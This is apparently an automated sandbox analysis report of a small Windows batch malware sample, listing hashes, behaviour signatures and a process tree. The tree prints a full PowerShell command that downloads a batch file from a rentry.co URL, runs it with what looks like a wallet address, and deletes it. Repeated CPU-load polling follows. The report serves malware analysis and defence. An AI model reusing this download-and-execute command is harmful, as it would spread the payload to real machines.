Analysis
-
max time kernel
149s -
max time network
59s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
30/06/2024, 22:59
Static task
static1
Behavioral task
behavioral1
Sample
23687145549944.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
23687145549944.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
23687145549944.bat
Resource
win11-20240508-en
General
-
Target
23687145549944.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Signatures
-
pid Process 3192 powershell.exe -
Delays execution with timeout.exe 64 IoCs
pid Process 3732 timeout.exe 2648 timeout.exe 3088 timeout.exe 4980 timeout.exe 3340 timeout.exe 4340 timeout.exe 3784 timeout.exe 3880 timeout.exe 1120 timeout.exe 4912 timeout.exe 4436 timeout.exe 2764 timeout.exe 840 timeout.exe 1060 timeout.exe 1256 timeout.exe 5032 timeout.exe 3648 timeout.exe 2956 timeout.exe 1828 timeout.exe 4260 timeout.exe 2336 timeout.exe 1848 timeout.exe 1924 timeout.exe 2696 timeout.exe 2040 timeout.exe 1336 timeout.exe 844 timeout.exe 3736 timeout.exe 1828 timeout.exe 1772 timeout.exe 4656 timeout.exe 4904 timeout.exe 2840 timeout.exe 4980 timeout.exe 2104 timeout.exe 4596 timeout.exe 1040 timeout.exe 3308 timeout.exe 1784 timeout.exe 2976 timeout.exe 3336 timeout.exe 5052 timeout.exe 3268 timeout.exe 428 timeout.exe 4076 timeout.exe 1668 timeout.exe 2892 timeout.exe 1636 timeout.exe 2328 timeout.exe 4136 timeout.exe 3300 timeout.exe 2328 timeout.exe 4596 timeout.exe 2412 timeout.exe 2320 timeout.exe 3168 timeout.exe 4496 timeout.exe 3568 timeout.exe 3088 timeout.exe 3920 timeout.exe 4412 timeout.exe 372 timeout.exe 2292 timeout.exe 1864 timeout.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3192 powershell.exe 3192 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3192 powershell.exe Token: SeIncreaseQuotaPrivilege 2436 WMIC.exe Token: SeSecurityPrivilege 2436 WMIC.exe Token: SeTakeOwnershipPrivilege 2436 WMIC.exe Token: SeLoadDriverPrivilege 2436 WMIC.exe Token: SeSystemProfilePrivilege 2436 WMIC.exe Token: SeSystemtimePrivilege 2436 WMIC.exe Token: SeProfSingleProcessPrivilege 2436 WMIC.exe Token: SeIncBasePriorityPrivilege 2436 WMIC.exe Token: SeCreatePagefilePrivilege 2436 WMIC.exe Token: SeBackupPrivilege 2436 WMIC.exe Token: SeRestorePrivilege 2436 WMIC.exe Token: SeShutdownPrivilege 2436 WMIC.exe Token: SeDebugPrivilege 2436 WMIC.exe Token: SeSystemEnvironmentPrivilege 2436 WMIC.exe Token: SeRemoteShutdownPrivilege 2436 WMIC.exe Token: SeUndockPrivilege 2436 WMIC.exe Token: SeManageVolumePrivilege 2436 WMIC.exe Token: 33 2436 WMIC.exe Token: 34 2436 WMIC.exe Token: 35 2436 WMIC.exe Token: 36 2436 WMIC.exe Token: SeIncreaseQuotaPrivilege 2436 WMIC.exe Token: SeSecurityPrivilege 2436 WMIC.exe Token: SeTakeOwnershipPrivilege 2436 WMIC.exe Token: SeLoadDriverPrivilege 2436 WMIC.exe Token: SeSystemProfilePrivilege 2436 WMIC.exe Token: SeSystemtimePrivilege 2436 WMIC.exe Token: SeProfSingleProcessPrivilege 2436 WMIC.exe Token: SeIncBasePriorityPrivilege 2436 WMIC.exe Token: SeCreatePagefilePrivilege 2436 WMIC.exe Token: SeBackupPrivilege 2436 WMIC.exe Token: SeRestorePrivilege 2436 WMIC.exe Token: SeShutdownPrivilege 2436 WMIC.exe Token: SeDebugPrivilege 2436 WMIC.exe Token: SeSystemEnvironmentPrivilege 2436 WMIC.exe Token: SeRemoteShutdownPrivilege 2436 WMIC.exe Token: SeUndockPrivilege 2436 WMIC.exe Token: SeManageVolumePrivilege 2436 WMIC.exe Token: 33 2436 WMIC.exe Token: 34 2436 WMIC.exe Token: 35 2436 WMIC.exe Token: 36 2436 WMIC.exe Token: SeIncreaseQuotaPrivilege 2004 WMIC.exe Token: SeSecurityPrivilege 2004 WMIC.exe Token: SeTakeOwnershipPrivilege 2004 WMIC.exe Token: SeLoadDriverPrivilege 2004 WMIC.exe Token: SeSystemProfilePrivilege 2004 WMIC.exe Token: SeSystemtimePrivilege 2004 WMIC.exe Token: SeProfSingleProcessPrivilege 2004 WMIC.exe Token: SeIncBasePriorityPrivilege 2004 WMIC.exe Token: SeCreatePagefilePrivilege 2004 WMIC.exe Token: SeBackupPrivilege 2004 WMIC.exe Token: SeRestorePrivilege 2004 WMIC.exe Token: SeShutdownPrivilege 2004 WMIC.exe Token: SeDebugPrivilege 2004 WMIC.exe Token: SeSystemEnvironmentPrivilege 2004 WMIC.exe Token: SeRemoteShutdownPrivilege 2004 WMIC.exe Token: SeUndockPrivilege 2004 WMIC.exe Token: SeManageVolumePrivilege 2004 WMIC.exe Token: 33 2004 WMIC.exe Token: 34 2004 WMIC.exe Token: 35 2004 WMIC.exe Token: 36 2004 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2024 wrote to memory of 3192 2024 cmd.exe 82 PID 2024 wrote to memory of 3192 2024 cmd.exe 82 PID 2024 wrote to memory of 3324 2024 cmd.exe 83 PID 2024 wrote to memory of 3324 2024 cmd.exe 83 PID 3324 wrote to memory of 2436 3324 cmd.exe 84 PID 3324 wrote to memory of 2436 3324 cmd.exe 84 PID 2024 wrote to memory of 1848 2024 cmd.exe 86 PID 2024 wrote to memory of 1848 2024 cmd.exe 86 PID 2024 wrote to memory of 3168 2024 cmd.exe 87 PID 2024 wrote to memory of 3168 2024 cmd.exe 87 PID 3168 wrote to memory of 2004 3168 cmd.exe 88 PID 3168 wrote to memory of 2004 3168 cmd.exe 88 PID 2024 wrote to memory of 1784 2024 cmd.exe 89 PID 2024 wrote to memory of 1784 2024 cmd.exe 89 PID 2024 wrote to memory of 2440 2024 cmd.exe 90 PID 2024 wrote to memory of 2440 2024 cmd.exe 90 PID 2440 wrote to memory of 516 2440 cmd.exe 91 PID 2440 wrote to memory of 516 2440 cmd.exe 91 PID 2024 wrote to memory of 4980 2024 cmd.exe 92 PID 2024 wrote to memory of 4980 2024 cmd.exe 92 PID 2024 wrote to memory of 2312 2024 cmd.exe 93 PID 2024 wrote to memory of 2312 2024 cmd.exe 93 PID 2312 wrote to memory of 5024 2312 cmd.exe 94 PID 2312 wrote to memory of 5024 2312 cmd.exe 94 PID 2024 wrote to memory of 2104 2024 cmd.exe 95 PID 2024 wrote to memory of 2104 2024 cmd.exe 95 PID 2024 wrote to memory of 1336 2024 cmd.exe 96 PID 2024 wrote to memory of 1336 2024 cmd.exe 96 PID 1336 wrote to memory of 1624 1336 cmd.exe 97 PID 1336 wrote to memory of 1624 1336 cmd.exe 97 PID 2024 wrote to memory of 3340 2024 cmd.exe 98 PID 2024 wrote to memory of 3340 2024 cmd.exe 98 PID 2024 wrote to memory of 5000 2024 cmd.exe 99 PID 2024 wrote to memory of 5000 2024 cmd.exe 99 PID 5000 wrote to memory of 1732 5000 cmd.exe 100 PID 5000 wrote to memory of 1732 5000 cmd.exe 100 PID 2024 wrote to memory of 2328 2024 cmd.exe 101 PID 2024 wrote to memory of 2328 2024 cmd.exe 101 PID 2024 wrote to memory of 3236 2024 cmd.exe 102 PID 2024 wrote to memory of 3236 2024 cmd.exe 102 PID 3236 wrote to memory of 4080 3236 cmd.exe 103 PID 3236 wrote to memory of 4080 3236 cmd.exe 103 PID 2024 wrote to memory of 3648 2024 cmd.exe 104 PID 2024 wrote to memory of 3648 2024 cmd.exe 104 PID 2024 wrote to memory of 2468 2024 cmd.exe 105 PID 2024 wrote to memory of 2468 2024 cmd.exe 105 PID 2468 wrote to memory of 828 2468 cmd.exe 106 PID 2468 wrote to memory of 828 2468 cmd.exe 106 PID 2024 wrote to memory of 844 2024 cmd.exe 107 PID 2024 wrote to memory of 844 2024 cmd.exe 107 PID 2024 wrote to memory of 4332 2024 cmd.exe 108 PID 2024 wrote to memory of 4332 2024 cmd.exe 108 PID 4332 wrote to memory of 4868 4332 cmd.exe 109 PID 4332 wrote to memory of 4868 4332 cmd.exe 109 PID 2024 wrote to memory of 2976 2024 cmd.exe 111 PID 2024 wrote to memory of 2976 2024 cmd.exe 111 PID 2024 wrote to memory of 4900 2024 cmd.exe 112 PID 2024 wrote to memory of 4900 2024 cmd.exe 112 PID 4900 wrote to memory of 776 4900 cmd.exe 113 PID 4900 wrote to memory of 776 4900 cmd.exe 113 PID 2024 wrote to memory of 3736 2024 cmd.exe 114 PID 2024 wrote to memory of 3736 2024 cmd.exe 114 PID 2024 wrote to memory of 3200 2024 cmd.exe 115 PID 2024 wrote to memory of 3200 2024 cmd.exe 115
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\23687145549944.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2024 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:3324 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1848
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:3168 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2004
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4980
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:2312 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5024
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1624
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:5000 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1732
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2328
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:3236 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4080
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3648
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:2468 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:828
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:844
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4332 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2976
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:776
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3736
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:920
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3268
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3752
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3864
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3064
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:388
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1924
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4496
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1212
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4600
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3568
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3188
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2920
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4596
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4608
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1856
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4136
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:560
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1828
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4032
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3544
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4260
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2300
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1264
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2708
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4364
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4824
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3300
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4932
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4912
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1040
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4604
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3748
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2328
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:972
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2936
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3308
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4796
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4984
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:760
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:32
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4332
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1584
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2552
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1368
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1256
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5100
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1016
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4436
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:660
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3128
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1924
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5032
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:412
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1172
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3124
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3028
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:244
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:372
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1048
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4292
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4596
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4840
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2892
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5052
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3604
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3556
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1828
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4424
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1848
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2696
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3512
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3088
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4656
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1600
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4432
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2292
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5004
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2364
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1864
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4320
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1492
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3240
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:836
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:908
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:428
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1604
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4604
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4904
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3372
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3920
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4748
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4708
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4412
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1072
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3732
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3960
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2744
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3612
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2684
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:996
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2412
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4468
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1992
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1380
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2040
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3624
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4496
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1120
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4884
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2492
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2648
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1756
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1872
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2320
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3280
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3488
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1668
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:804
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1060
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3020
-
